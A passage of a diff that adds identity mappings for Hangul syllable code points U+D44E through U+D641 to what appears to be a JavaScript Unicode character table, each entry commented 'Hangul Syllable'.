+ ["\uD44E", "\uD44E"], /* Hangul Syllable */
+ ["\uD44F", "\uD44F"], /* Hangul Syllable */
+ ["\uD450", "\uD450"], /* Hangul Syllable */
+ ["\uD451", "\uD451"], /* Hangul Syllable */
+ ["\uD452", "\uD452"], /* Hangul Syllable */
+ ["\uD453", "\uD453"], /* Hangul Syllable */
+ ["\uD454", "\uD454"], /* Hangul Syllable */
+ ["\uD455", "\uD455"], /* Hangul Syllable */
+ ["\uD456", "\uD456"], /* Hangul Syllable */
+ ["\uD457", "\uD457"], /* Hangul Syllable */
+ ["\uD458", "\uD458"], /* Hangul Syllable */
+ ["\uD459", "\uD459"], /* Hangul Syllable */
+ ["\uD45A", "\uD45A"], /* Hangul Syllable */
+ ["\uD45B", "\uD45B"], /* Hangul Syllable */
+ ["\uD45C", "\uD45C"], /* Hangul Syllable */
+ ["\uD45D", "\uD45D"], /* Hangul Syllable */
+ ["\uD45E", "\uD45E"], /* Hangul Syllable */
+ ["\uD45F", "\uD45F"], /* Hangul Syllable */
+ ["\uD460", "\uD460"], /* Hangul Syllable */
+ ["\uD461", "\uD461"], /* Hangul Syllable */
+ ["\uD462", "\uD462"], /* Hangul Syllable */
+ ["\uD463", "\uD463"], /* Hangul Syllable */
+ ["\uD464", "\uD464"], /* Hangul Syllable */
+ ["\uD465", "\uD465"], /* Hangul Syllable */
+ ["\uD466", "\uD466"], /* Hangul Syllable */
+ ["\uD467", "\uD467"], /* Hangul Syllable */
+ ["\uD468", "\uD468"], /* Hangul Syllable */
+ ["\uD469", "\uD469"], /* Hangul Syllable */
+ ["\uD46A", "\uD46A"], /* Hangul Syllable */
+ ["\uD46B", "\uD46B"], /* Hangul Syllable */
+ ["\uD46C", "\uD46C"], /* Hangul Syllable */
+ ["\uD46D", "\uD46D"], /* Hangul Syllable */
+ ["\uD46E", "\uD46E"], /* Hangul Syllable */
+ ["\uD46F", "\uD46F"], /* Hangul Syllable */
+ ["\uD470", "\uD470"], /* Hangul Syllable */
+ ["\uD471", "\uD471"], /* Hangul Syllable */
+ ["\uD472", "\uD472"], /* Hangul Syllable */
+ ["\uD473", "\uD473"], /* Hangul Syllable */
+ ["\uD474", "\uD474"], /* Hangul Syllable */
+ ["\uD475", "\uD475"], /* Hangul Syllable */
+ ["\uD476", "\uD476"], /* Hangul Syllable */
+ ["\uD477", "\uD477"], /* Hangul Syllable */
+ ["\uD478", "\uD478"], /* Hangul Syllable */
+ ["\uD479", "\uD479"], /* Hangul Syllable */
+ ["\uD47A", "\uD47A"], /* Hangul Syllable */
+ ["\uD47B", "\uD47B"], /* Hangul Syllable */
+ ["\uD47C", "\uD47C"], /* Hangul Syllable */
+ ["\uD47D", "\uD47D"], /* Hangul Syllable */
+ ["\uD47E", "\uD47E"], /* Hangul Syllable */
+ ["\uD47F", "\uD47F"], /* Hangul Syllable */
+ ["\uD480", "\uD480"], /* Hangul Syllable */
+ ["\uD481", "\uD481"], /* Hangul Syllable */
+ ["\uD482", "\uD482"], /* Hangul Syllable */
+ ["\uD483", "\uD483"], /* Hangul Syllable */
+ ["\uD484", "\uD484"], /* Hangul Syllable */
+ ["\uD485", "\uD485"], /* Hangul Syllable */
+ ["\uD486", "\uD486"], /* Hangul Syllable */
+ ["\uD487", "\uD487"], /* Hangul Syllable */
+ ["\uD488", "\uD488"], /* Hangul Syllable */
+ ["\uD489", "\uD489"], /* Hangul Syllable */
+ ["\uD48A", "\uD48A"], /* Hangul Syllable */
+ ["\uD48B", "\uD48B"], /* Hangul Syllable */
+ ["\uD48C", "\uD48C"], /* Hangul Syllable */
+ ["\uD48D", "\uD48D"], /* Hangul Syllable */
+ ["\uD48E", "\uD48E"], /* Hangul Syllable */
+ ["\uD48F", "\uD48F"], /* Hangul Syllable */
+ ["\uD490", "\uD490"], /* Hangul Syllable */
+ ["\uD491", "\uD491"], /* Hangul Syllable */
+ ["\uD492", "\uD492"], /* Hangul Syllable */
+ ["\uD493", "\uD493"], /* Hangul Syllable */
+ ["\uD494", "\uD494"], /* Hangul Syllable */
+ ["\uD495", "\uD495"], /* Hangul Syllable */
+ ["\uD496", "\uD496"], /* Hangul Syllable */
+ ["\uD497", "\uD497"], /* Hangul Syllable */
+ ["\uD498", "\uD498"], /* Hangul Syllable */
+ ["\uD499", "\uD499"], /* Hangul Syllable */
+ ["\uD49A", "\uD49A"], /* Hangul Syllable */
+ ["\uD49B", "\uD49B"], /* Hangul Syllable */
+ ["\uD49C", "\uD49C"], /* Hangul Syllable */
+ ["\uD49D", "\uD49D"], /* Hangul Syllable */
+ ["\uD49E", "\uD49E"], /* Hangul Syllable */
+ ["\uD49F", "\uD49F"], /* Hangul Syllable */
+ ["\uD4A0", "\uD4A0"], /* Hangul Syllable */
+ ["\uD4A1", "\uD4A1"], /* Hangul Syllable */
+ ["\uD4A2", "\uD4A2"], /* Hangul Syllable */
+ ["\uD4A3", "\uD4A3"], /* Hangul Syllable */
+ ["\uD4A4", "\uD4A4"], /* Hangul Syllable */
+ ["\uD4A5", "\uD4A5"], /* Hangul Syllable */
+ ["\uD4A6", "\uD4A6"], /* Hangul Syllable */
+ ["\uD4A7", "\uD4A7"], /* Hangul Syllable */
+ ["\uD4A8", "\uD4A8"], /* Hangul Syllable */
+ ["\uD4A9", "\uD4A9"], /* Hangul Syllable */
+ ["\uD4AA", "\uD4AA"], /* Hangul Syllable */
+ ["\uD4AB", "\uD4AB"], /* Hangul Syllable */
+ ["\uD4AC", "\uD4AC"], /* Hangul Syllable */
+ ["\uD4AD", "\uD4AD"], /* Hangul Syllable */
+ ["\uD4AE", "\uD4AE"], /* Hangul Syllable */
+ ["\uD4AF", "\uD4AF"], /* Hangul Syllable */
+ ["\uD4B0", "\uD4B0"], /* Hangul Syllable */
+ ["\uD4B1", "\uD4B1"], /* Hangul Syllable */
+ ["\uD4B2", "\uD4B2"], /* Hangul Syllable */
+ ["\uD4B3", "\uD4B3"], /* Hangul Syllable */
+ ["\uD4B4", "\uD4B4"], /* Hangul Syllable */
+ ["\uD4B5", "\uD4B5"], /* Hangul Syllable */
+ ["\uD4B6", "\uD4B6"], /* Hangul Syllable */
+ ["\uD4B7", "\uD4B7"], /* Hangul Syllable */
+ ["\uD4B8", "\uD4B8"], /* Hangul Syllable */
+ ["\uD4B9", "\uD4B9"], /* Hangul Syllable */
+ ["\uD4BA", "\uD4BA"], /* Hangul Syllable */
+ ["\uD4BB", "\uD4BB"], /* Hangul Syllable */
+ ["\uD4BC", "\uD4BC"], /* Hangul Syllable */
+ ["\uD4BD", "\uD4BD"], /* Hangul Syllable */
+ ["\uD4BE", "\uD4BE"], /* Hangul Syllable */
+ ["\uD4BF", "\uD4BF"], /* Hangul Syllable */
+ ["\uD4C0", "\uD4C0"], /* Hangul Syllable */
+ ["\uD4C1", "\uD4C1"], /* Hangul Syllable */
+ ["\uD4C2", "\uD4C2"], /* Hangul Syllable */
+ ["\uD4C3", "\uD4C3"], /* Hangul Syllable */
+ ["\uD4C4", "\uD4C4"], /* Hangul Syllable */
+ ["\uD4C5", "\uD4C5"], /* Hangul Syllable */
+ ["\uD4C6", "\uD4C6"], /* Hangul Syllable */
+ ["\uD4C7", "\uD4C7"], /* Hangul Syllable */
+ ["\uD4C8", "\uD4C8"], /* Hangul Syllable */
+ ["\uD4C9", "\uD4C9"], /* Hangul Syllable */
+ ["\uD4CA", "\uD4CA"], /* Hangul Syllable */
+ ["\uD4CB", "\uD4CB"], /* Hangul Syllable */
+ ["\uD4CC", "\uD4CC"], /* Hangul Syllable */
+ ["\uD4CD", "\uD4CD"], /* Hangul Syllable */
+ ["\uD4CE", "\uD4CE"], /* Hangul Syllable */
+ ["\uD4CF", "\uD4CF"], /* Hangul Syllable */
+ ["\uD4D0", "\uD4D0"], /* Hangul Syllable */
+ ["\uD4D1", "\uD4D1"], /* Hangul Syllable */
+ ["\uD4D2", "\uD4D2"], /* Hangul Syllable */
+ ["\uD4D3", "\uD4D3"], /* Hangul Syllable */
+ ["\uD4D4", "\uD4D4"], /* Hangul Syllable */
+ ["\uD4D5", "\uD4D5"], /* Hangul Syllable */
+ ["\uD4D6", "\uD4D6"], /* Hangul Syllable */
+ ["\uD4D7", "\uD4D7"], /* Hangul Syllable */
+ ["\uD4D8", "\uD4D8"], /* Hangul Syllable */
+ ["\uD4D9", "\uD4D9"], /* Hangul Syllable */
+ ["\uD4DA", "\uD4DA"], /* Hangul Syllable */
+ ["\uD4DB", "\uD4DB"], /* Hangul Syllable */
+ ["\uD4DC", "\uD4DC"], /* Hangul Syllable */
+ ["\uD4DD", "\uD4DD"], /* Hangul Syllable */
+ ["\uD4DE", "\uD4DE"], /* Hangul Syllable */
+ ["\uD4DF", "\uD4DF"], /* Hangul Syllable */
+ ["\uD4E0", "\uD4E0"], /* Hangul Syllable */
+ ["\uD4E1", "\uD4E1"], /* Hangul Syllable */
+ ["\uD4E2", "\uD4E2"], /* Hangul Syllable */
+ ["\uD4E3", "\uD4E3"], /* Hangul Syllable */
+ ["\uD4E4", "\uD4E4"], /* Hangul Syllable */
+ ["\uD4E5", "\uD4E5"], /* Hangul Syllable */
+ ["\uD4E6", "\uD4E6"], /* Hangul Syllable */
+ ["\uD4E7", "\uD4E7"], /* Hangul Syllable */
+ ["\uD4E8", "\uD4E8"], /* Hangul Syllable */
+ ["\uD4E9", "\uD4E9"], /* Hangul Syllable */
+ ["\uD4EA", "\uD4EA"], /* Hangul Syllable */
+ ["\uD4EB", "\uD4EB"], /* Hangul Syllable */
+ ["\uD4EC", "\uD4EC"], /* Hangul Syllable */
+ ["\uD4ED", "\uD4ED"], /* Hangul Syllable */
+ ["\uD4EE", "\uD4EE"], /* Hangul Syllable */
+ ["\uD4EF", "\uD4EF"], /* Hangul Syllable */
+ ["\uD4F0", "\uD4F0"], /* Hangul Syllable */
+ ["\uD4F1", "\uD4F1"], /* Hangul Syllable */
+ ["\uD4F2", "\uD4F2"], /* Hangul Syllable */
+ ["\uD4F3", "\uD4F3"], /* Hangul Syllable */
+ ["\uD4F4", "\uD4F4"], /* Hangul Syllable */
+ ["\uD4F5", "\uD4F5"], /* Hangul Syllable */
+ ["\uD4F6", "\uD4F6"], /* Hangul Syllable */
+ ["\uD4F7", "\uD4F7"], /* Hangul Syllable */
+ ["\uD4F8", "\uD4F8"], /* Hangul Syllable */
+ ["\uD4F9", "\uD4F9"], /* Hangul Syllable */
+ ["\uD4FA", "\uD4FA"], /* Hangul Syllable */
+ ["\uD4FB", "\uD4FB"], /* Hangul Syllable */
+ ["\uD4FC", "\uD4FC"], /* Hangul Syllable */
+ ["\uD4FD", "\uD4FD"], /* Hangul Syllable */
+ ["\uD4FE", "\uD4FE"], /* Hangul Syllable */
+ ["\uD4FF", "\uD4FF"], /* Hangul Syllable */
+ ["\uD500", "\uD500"], /* Hangul Syllable */
+ ["\uD501", "\uD501"], /* Hangul Syllable */
+ ["\uD502", "\uD502"], /* Hangul Syllable */
+ ["\uD503", "\uD503"], /* Hangul Syllable */
+ ["\uD504", "\uD504"], /* Hangul Syllable */
+ ["\uD505", "\uD505"], /* Hangul Syllable */
+ ["\uD506", "\uD506"], /* Hangul Syllable */
+ ["\uD507", "\uD507"], /* Hangul Syllable */
+ ["\uD508", "\uD508"], /* Hangul Syllable */
+ ["\uD509", "\uD509"], /* Hangul Syllable */
+ ["\uD50A", "\uD50A"], /* Hangul Syllable */
+ ["\uD50B", "\uD50B"], /* Hangul Syllable */
+ ["\uD50C", "\uD50C"], /* Hangul Syllable */
+ ["\uD50D", "\uD50D"], /* Hangul Syllable */
+ ["\uD50E", "\uD50E"], /* Hangul Syllable */
+ ["\uD50F", "\uD50F"], /* Hangul Syllable */
+ ["\uD510", "\uD510"], /* Hangul Syllable */
+ ["\uD511", "\uD511"], /* Hangul Syllable */
+ ["\uD512", "\uD512"], /* Hangul Syllable */
+ ["\uD513", "\uD513"], /* Hangul Syllable */
+ ["\uD514", "\uD514"], /* Hangul Syllable */
+ ["\uD515", "\uD515"], /* Hangul Syllable */
+ ["\uD516", "\uD516"], /* Hangul Syllable */
+ ["\uD517", "\uD517"], /* Hangul Syllable */
+ ["\uD518", "\uD518"], /* Hangul Syllable */
+ ["\uD519", "\uD519"], /* Hangul Syllable */
+ ["\uD51A", "\uD51A"], /* Hangul Syllable */
+ ["\uD51B", "\uD51B"], /* Hangul Syllable */
+ ["\uD51C", "\uD51C"], /* Hangul Syllable */
+ ["\uD51D", "\uD51D"], /* Hangul Syllable */
+ ["\uD51E", "\uD51E"], /* Hangul Syllable */
+ ["\uD51F", "\uD51F"], /* Hangul Syllable */
+ ["\uD520", "\uD520"], /* Hangul Syllable */
+ ["\uD521", "\uD521"], /* Hangul Syllable */
+ ["\uD522", "\uD522"], /* Hangul Syllable */
+ ["\uD523", "\uD523"], /* Hangul Syllable */
+ ["\uD524", "\uD524"], /* Hangul Syllable */
+ ["\uD525", "\uD525"], /* Hangul Syllable */
+ ["\uD526", "\uD526"], /* Hangul Syllable */
+ ["\uD527", "\uD527"], /* Hangul Syllable */
+ ["\uD528", "\uD528"], /* Hangul Syllable */
+ ["\uD529", "\uD529"], /* Hangul Syllable */
+ ["\uD52A", "\uD52A"], /* Hangul Syllable */
+ ["\uD52B", "\uD52B"], /* Hangul Syllable */
+ ["\uD52C", "\uD52C"], /* Hangul Syllable */
+ ["\uD52D", "\uD52D"], /* Hangul Syllable */
+ ["\uD52E", "\uD52E"], /* Hangul Syllable */
+ ["\uD52F", "\uD52F"], /* Hangul Syllable */
+ ["\uD530", "\uD530"], /* Hangul Syllable */
+ ["\uD531", "\uD531"], /* Hangul Syllable */
+ ["\uD532", "\uD532"], /* Hangul Syllable */
+ ["\uD533", "\uD533"], /* Hangul Syllable */
+ ["\uD534", "\uD534"], /* Hangul Syllable */
+ ["\uD535", "\uD535"], /* Hangul Syllable */
+ ["\uD536", "\uD536"], /* Hangul Syllable */
+ ["\uD537", "\uD537"], /* Hangul Syllable */
+ ["\uD538", "\uD538"], /* Hangul Syllable */
+ ["\uD539", "\uD539"], /* Hangul Syllable */
+ ["\uD53A", "\uD53A"], /* Hangul Syllable */
+ ["\uD53B", "\uD53B"], /* Hangul Syllable */
+ ["\uD53C", "\uD53C"], /* Hangul Syllable */
+ ["\uD53D", "\uD53D"], /* Hangul Syllable */
+ ["\uD53E", "\uD53E"], /* Hangul Syllable */
+ ["\uD53F", "\uD53F"], /* Hangul Syllable */
+ ["\uD540", "\uD540"], /* Hangul Syllable */
+ ["\uD541", "\uD541"], /* Hangul Syllable */
+ ["\uD542", "\uD542"], /* Hangul Syllable */
+ ["\uD543", "\uD543"], /* Hangul Syllable */
+ ["\uD544", "\uD544"], /* Hangul Syllable */
+ ["\uD545", "\uD545"], /* Hangul Syllable */
+ ["\uD546", "\uD546"], /* Hangul Syllable */
+ ["\uD547", "\uD547"], /* Hangul Syllable */
+ ["\uD548", "\uD548"], /* Hangul Syllable */
+ ["\uD549", "\uD549"], /* Hangul Syllable */
+ ["\uD54A", "\uD54A"], /* Hangul Syllable */
+ ["\uD54B", "\uD54B"], /* Hangul Syllable */
+ ["\uD54C", "\uD54C"], /* Hangul Syllable */
+ ["\uD54D", "\uD54D"], /* Hangul Syllable */
+ ["\uD54E", "\uD54E"], /* Hangul Syllable */
+ ["\uD54F", "\uD54F"], /* Hangul Syllable */
+ ["\uD550", "\uD550"], /* Hangul Syllable */
+ ["\uD551", "\uD551"], /* Hangul Syllable */
+ ["\uD552", "\uD552"], /* Hangul Syllable */
+ ["\uD553", "\uD553"], /* Hangul Syllable */
+ ["\uD554", "\uD554"], /* Hangul Syllable */
+ ["\uD555", "\uD555"], /* Hangul Syllable */
+ ["\uD556", "\uD556"], /* Hangul Syllable */
+ ["\uD557", "\uD557"], /* Hangul Syllable */
+ ["\uD558", "\uD558"], /* Hangul Syllable */
+ ["\uD559", "\uD559"], /* Hangul Syllable */
+ ["\uD55A", "\uD55A"], /* Hangul Syllable */
+ ["\uD55B", "\uD55B"], /* Hangul Syllable */
+ ["\uD55C", "\uD55C"], /* Hangul Syllable */
+ ["\uD55D", "\uD55D"], /* Hangul Syllable */
+ ["\uD55E", "\uD55E"], /* Hangul Syllable */
+ ["\uD55F", "\uD55F"], /* Hangul Syllable */
+ ["\uD560", "\uD560"], /* Hangul Syllable */
+ ["\uD561", "\uD561"], /* Hangul Syllable */
+ ["\uD562", "\uD562"], /* Hangul Syllable */
+ ["\uD563", "\uD563"], /* Hangul Syllable */
+ ["\uD564", "\uD564"], /* Hangul Syllable */
+ ["\uD565", "\uD565"], /* Hangul Syllable */
+ ["\uD566", "\uD566"], /* Hangul Syllable */
+ ["\uD567", "\uD567"], /* Hangul Syllable */
+ ["\uD568", "\uD568"], /* Hangul Syllable */
+ ["\uD569", "\uD569"], /* Hangul Syllable */
+ ["\uD56A", "\uD56A"], /* Hangul Syllable */
+ ["\uD56B", "\uD56B"], /* Hangul Syllable */
+ ["\uD56C", "\uD56C"], /* Hangul Syllable */
+ ["\uD56D", "\uD56D"], /* Hangul Syllable */
+ ["\uD56E", "\uD56E"], /* Hangul Syllable */
+ ["\uD56F", "\uD56F"], /* Hangul Syllable */
+ ["\uD570", "\uD570"], /* Hangul Syllable */
+ ["\uD571", "\uD571"], /* Hangul Syllable */
+ ["\uD572", "\uD572"], /* Hangul Syllable */
+ ["\uD573", "\uD573"], /* Hangul Syllable */
+ ["\uD574", "\uD574"], /* Hangul Syllable */
+ ["\uD575", "\uD575"], /* Hangul Syllable */
+ ["\uD576", "\uD576"], /* Hangul Syllable */
+ ["\uD577", "\uD577"], /* Hangul Syllable */
+ ["\uD578", "\uD578"], /* Hangul Syllable */
+ ["\uD579", "\uD579"], /* Hangul Syllable */
+ ["\uD57A", "\uD57A"], /* Hangul Syllable */
+ ["\uD57B", "\uD57B"], /* Hangul Syllable */
+ ["\uD57C", "\uD57C"], /* Hangul Syllable */
+ ["\uD57D", "\uD57D"], /* Hangul Syllable */
+ ["\uD57E", "\uD57E"], /* Hangul Syllable */
+ ["\uD57F", "\uD57F"], /* Hangul Syllable */
+ ["\uD580", "\uD580"], /* Hangul Syllable */
+ ["\uD581", "\uD581"], /* Hangul Syllable */
+ ["\uD582", "\uD582"], /* Hangul Syllable */
+ ["\uD583", "\uD583"], /* Hangul Syllable */
+ ["\uD584", "\uD584"], /* Hangul Syllable */
+ ["\uD585", "\uD585"], /* Hangul Syllable */
+ ["\uD586", "\uD586"], /* Hangul Syllable */
+ ["\uD587", "\uD587"], /* Hangul Syllable */
+ ["\uD588", "\uD588"], /* Hangul Syllable */
+ ["\uD589", "\uD589"], /* Hangul Syllable */
+ ["\uD58A", "\uD58A"], /* Hangul Syllable */
+ ["\uD58B", "\uD58B"], /* Hangul Syllable */
+ ["\uD58C", "\uD58C"], /* Hangul Syllable */
+ ["\uD58D", "\uD58D"], /* Hangul Syllable */
+ ["\uD58E", "\uD58E"], /* Hangul Syllable */
+ ["\uD58F", "\uD58F"], /* Hangul Syllable */
+ ["\uD590", "\uD590"], /* Hangul Syllable */
+ ["\uD591", "\uD591"], /* Hangul Syllable */
+ ["\uD592", "\uD592"], /* Hangul Syllable */
+ ["\uD593", "\uD593"], /* Hangul Syllable */
+ ["\uD594", "\uD594"], /* Hangul Syllable */
+ ["\uD595", "\uD595"], /* Hangul Syllable */
+ ["\uD596", "\uD596"], /* Hangul Syllable */
+ ["\uD597", "\uD597"], /* Hangul Syllable */
+ ["\uD598", "\uD598"], /* Hangul Syllable */
+ ["\uD599", "\uD599"], /* Hangul Syllable */
+ ["\uD59A", "\uD59A"], /* Hangul Syllable */
+ ["\uD59B", "\uD59B"], /* Hangul Syllable */
+ ["\uD59C", "\uD59C"], /* Hangul Syllable */
+ ["\uD59D", "\uD59D"], /* Hangul Syllable */
+ ["\uD59E", "\uD59E"], /* Hangul Syllable */
+ ["\uD59F", "\uD59F"], /* Hangul Syllable */
+ ["\uD5A0", "\uD5A0"], /* Hangul Syllable */
+ ["\uD5A1", "\uD5A1"], /* Hangul Syllable */
+ ["\uD5A2", "\uD5A2"], /* Hangul Syllable */
+ ["\uD5A3", "\uD5A3"], /* Hangul Syllable */
+ ["\uD5A4", "\uD5A4"], /* Hangul Syllable */
+ ["\uD5A5", "\uD5A5"], /* Hangul Syllable */
+ ["\uD5A6", "\uD5A6"], /* Hangul Syllable */
+ ["\uD5A7", "\uD5A7"], /* Hangul Syllable */
+ ["\uD5A8", "\uD5A8"], /* Hangul Syllable */
+ ["\uD5A9", "\uD5A9"], /* Hangul Syllable */
+ ["\uD5AA", "\uD5AA"], /* Hangul Syllable */
+ ["\uD5AB", "\uD5AB"], /* Hangul Syllable */
+ ["\uD5AC", "\uD5AC"], /* Hangul Syllable */
+ ["\uD5AD", "\uD5AD"], /* Hangul Syllable */
+ ["\uD5AE", "\uD5AE"], /* Hangul Syllable */
+ ["\uD5AF", "\uD5AF"], /* Hangul Syllable */
+ ["\uD5B0", "\uD5B0"], /* Hangul Syllable */
+ ["\uD5B1", "\uD5B1"], /* Hangul Syllable */
+ ["\uD5B2", "\uD5B2"], /* Hangul Syllable */
+ ["\uD5B3", "\uD5B3"], /* Hangul Syllable */
+ ["\uD5B4", "\uD5B4"], /* Hangul Syllable */
+ ["\uD5B5", "\uD5B5"], /* Hangul Syllable */
+ ["\uD5B6", "\uD5B6"], /* Hangul Syllable */
+ ["\uD5B7", "\uD5B7"], /* Hangul Syllable */
+ ["\uD5B8", "\uD5B8"], /* Hangul Syllable */
+ ["\uD5B9", "\uD5B9"], /* Hangul Syllable */
+ ["\uD5BA", "\uD5BA"], /* Hangul Syllable */
+ ["\uD5BB", "\uD5BB"], /* Hangul Syllable */
+ ["\uD5BC", "\uD5BC"], /* Hangul Syllable */
+ ["\uD5BD", "\uD5BD"], /* Hangul Syllable */
+ ["\uD5BE", "\uD5BE"], /* Hangul Syllable */
+ ["\uD5BF", "\uD5BF"], /* Hangul Syllable */
+ ["\uD5C0", "\uD5C0"], /* Hangul Syllable */
+ ["\uD5C1", "\uD5C1"], /* Hangul Syllable */
+ ["\uD5C2", "\uD5C2"], /* Hangul Syllable */
+ ["\uD5C3", "\uD5C3"], /* Hangul Syllable */
+ ["\uD5C4", "\uD5C4"], /* Hangul Syllable */
+ ["\uD5C5", "\uD5C5"], /* Hangul Syllable */
+ ["\uD5C6", "\uD5C6"], /* Hangul Syllable */
+ ["\uD5C7", "\uD5C7"], /* Hangul Syllable */
+ ["\uD5C8", "\uD5C8"], /* Hangul Syllable */
+ ["\uD5C9", "\uD5C9"], /* Hangul Syllable */
+ ["\uD5CA", "\uD5CA"], /* Hangul Syllable */
+ ["\uD5CB", "\uD5CB"], /* Hangul Syllable */
+ ["\uD5CC", "\uD5CC"], /* Hangul Syllable */
+ ["\uD5CD", "\uD5CD"], /* Hangul Syllable */
+ ["\uD5CE", "\uD5CE"], /* Hangul Syllable */
+ ["\uD5CF", "\uD5CF"], /* Hangul Syllable */
+ ["\uD5D0", "\uD5D0"], /* Hangul Syllable */
+ ["\uD5D1", "\uD5D1"], /* Hangul Syllable */
+ ["\uD5D2", "\uD5D2"], /* Hangul Syllable */
+ ["\uD5D3", "\uD5D3"], /* Hangul Syllable */
+ ["\uD5D4", "\uD5D4"], /* Hangul Syllable */
+ ["\uD5D5", "\uD5D5"], /* Hangul Syllable */
+ ["\uD5D6", "\uD5D6"], /* Hangul Syllable */
+ ["\uD5D7", "\uD5D7"], /* Hangul Syllable */
+ ["\uD5D8", "\uD5D8"], /* Hangul Syllable */
+ ["\uD5D9", "\uD5D9"], /* Hangul Syllable */
+ ["\uD5DA", "\uD5DA"], /* Hangul Syllable */
+ ["\uD5DB", "\uD5DB"], /* Hangul Syllable */
+ ["\uD5DC", "\uD5DC"], /* Hangul Syllable */
+ ["\uD5DD", "\uD5DD"], /* Hangul Syllable */
+ ["\uD5DE", "\uD5DE"], /* Hangul Syllable */
+ ["\uD5DF", "\uD5DF"], /* Hangul Syllable */
+ ["\uD5E0", "\uD5E0"], /* Hangul Syllable */
+ ["\uD5E1", "\uD5E1"], /* Hangul Syllable */
+ ["\uD5E2", "\uD5E2"], /* Hangul Syllable */
+ ["\uD5E3", "\uD5E3"], /* Hangul Syllable */
+ ["\uD5E4", "\uD5E4"], /* Hangul Syllable */
+ ["\uD5E5", "\uD5E5"], /* Hangul Syllable */
+ ["\uD5E6", "\uD5E6"], /* Hangul Syllable */
+ ["\uD5E7", "\uD5E7"], /* Hangul Syllable */
+ ["\uD5E8", "\uD5E8"], /* Hangul Syllable */
+ ["\uD5E9", "\uD5E9"], /* Hangul Syllable */
+ ["\uD5EA", "\uD5EA"], /* Hangul Syllable */
+ ["\uD5EB", "\uD5EB"], /* Hangul Syllable */
+ ["\uD5EC", "\uD5EC"], /* Hangul Syllable */
+ ["\uD5ED", "\uD5ED"], /* Hangul Syllable */
+ ["\uD5EE", "\uD5EE"], /* Hangul Syllable */
+ ["\uD5EF", "\uD5EF"], /* Hangul Syllable */
+ ["\uD5F0", "\uD5F0"], /* Hangul Syllable */
+ ["\uD5F1", "\uD5F1"], /* Hangul Syllable */
+ ["\uD5F2", "\uD5F2"], /* Hangul Syllable */
+ ["\uD5F3", "\uD5F3"], /* Hangul Syllable */
+ ["\uD5F4", "\uD5F4"], /* Hangul Syllable */
+ ["\uD5F5", "\uD5F5"], /* Hangul Syllable */
+ ["\uD5F6", "\uD5F6"], /* Hangul Syllable */
+ ["\uD5F7", "\uD5F7"], /* Hangul Syllable */
+ ["\uD5F8", "\uD5F8"], /* Hangul Syllable */
+ ["\uD5F9", "\uD5F9"], /* Hangul Syllable */
+ ["\uD5FA", "\uD5FA"], /* Hangul Syllable */
+ ["\uD5FB", "\uD5FB"], /* Hangul Syllable */
+ ["\uD5FC", "\uD5FC"], /* Hangul Syllable */
+ ["\uD5FD", "\uD5FD"], /* Hangul Syllable */
+ ["\uD5FE", "\uD5FE"], /* Hangul Syllable */
+ ["\uD5FF", "\uD5FF"], /* Hangul Syllable */
+ ["\uD600", "\uD600"], /* Hangul Syllable */
+ ["\uD601", "\uD601"], /* Hangul Syllable */
+ ["\uD602", "\uD602"], /* Hangul Syllable */
+ ["\uD603", "\uD603"], /* Hangul Syllable */
+ ["\uD604", "\uD604"], /* Hangul Syllable */
+ ["\uD605", "\uD605"], /* Hangul Syllable */
+ ["\uD606", "\uD606"], /* Hangul Syllable */
+ ["\uD607", "\uD607"], /* Hangul Syllable */
+ ["\uD608", "\uD608"], /* Hangul Syllable */
+ ["\uD609", "\uD609"], /* Hangul Syllable */
+ ["\uD60A", "\uD60A"], /* Hangul Syllable */
+ ["\uD60B", "\uD60B"], /* Hangul Syllable */
+ ["\uD60C", "\uD60C"], /* Hangul Syllable */
+ ["\uD60D", "\uD60D"], /* Hangul Syllable */
+ ["\uD60E", "\uD60E"], /* Hangul Syllable */
+ ["\uD60F", "\uD60F"], /* Hangul Syllable */
+ ["\uD610", "\uD610"], /* Hangul Syllable */
+ ["\uD611", "\uD611"], /* Hangul Syllable */
+ ["\uD612", "\uD612"], /* Hangul Syllable */
+ ["\uD613", "\uD613"], /* Hangul Syllable */
+ ["\uD614", "\uD614"], /* Hangul Syllable */
+ ["\uD615", "\uD615"], /* Hangul Syllable */
+ ["\uD616", "\uD616"], /* Hangul Syllable */
+ ["\uD617", "\uD617"], /* Hangul Syllable */
+ ["\uD618", "\uD618"], /* Hangul Syllable */
+ ["\uD619", "\uD619"], /* Hangul Syllable */
+ ["\uD61A", "\uD61A"], /* Hangul Syllable */
+ ["\uD61B", "\uD61B"], /* Hangul Syllable */
+ ["\uD61C", "\uD61C"], /* Hangul Syllable */
+ ["\uD61D", "\uD61D"], /* Hangul Syllable */
+ ["\uD61E", "\uD61E"], /* Hangul Syllable */
+ ["\uD61F", "\uD61F"], /* Hangul Syllable */
+ ["\uD620", "\uD620"], /* Hangul Syllable */
+ ["\uD621", "\uD621"], /* Hangul Syllable */
+ ["\uD622", "\uD622"], /* Hangul Syllable */
+ ["\uD623", "\uD623"], /* Hangul Syllable */
+ ["\uD624", "\uD624"], /* Hangul Syllable */
+ ["\uD625", "\uD625"], /* Hangul Syllable */
+ ["\uD626", "\uD626"], /* Hangul Syllable */
+ ["\uD627", "\uD627"], /* Hangul Syllable */
+ ["\uD628", "\uD628"], /* Hangul Syllable */
+ ["\uD629", "\uD629"], /* Hangul Syllable */
+ ["\uD62A", "\uD62A"], /* Hangul Syllable */
+ ["\uD62B", "\uD62B"], /* Hangul Syllable */
+ ["\uD62C", "\uD62C"], /* Hangul Syllable */
+ ["\uD62D", "\uD62D"], /* Hangul Syllable */
+ ["\uD62E", "\uD62E"], /* Hangul Syllable */
+ ["\uD62F", "\uD62F"], /* Hangul Syllable */
+ ["\uD630", "\uD630"], /* Hangul Syllable */
+ ["\uD631", "\uD631"], /* Hangul Syllable */
+ ["\uD632", "\uD632"], /* Hangul Syllable */
+ ["\uD633", "\uD633"], /* Hangul Syllable */
+ ["\uD634", "\uD634"], /* Hangul Syllable */
+ ["\uD635", "\uD635"], /* Hangul Syllable */
+ ["\uD636", "\uD636"], /* Hangul Syllable */
+ ["\uD637", "\uD637"], /* Hangul Syllable */
+ ["\uD638", "\uD638"], /* Hangul Syllable */
+ ["\uD639", "\uD639"], /* Hangul Syllable */
+ ["\uD63A", "\uD63A"], /* Hangul Syllable */
+ ["\uD63B", "\uD63B"], /* Hangul Syllable */
+ ["\uD63C", "\uD63C"], /* Hangul Syllable */
+ ["\uD63D", "\uD63D"], /* Hangul Syllable */
+ ["\uD63E", "\uD63E"], /* Hangul Syllable */
+ ["\uD63F", "\uD63F"], /* Hangul Syllable */
+ ["\uD640", "\uD640"], /* Hangul Syllable */
+ ["\uD641", "\uD641"], /* Hangul Syllable */
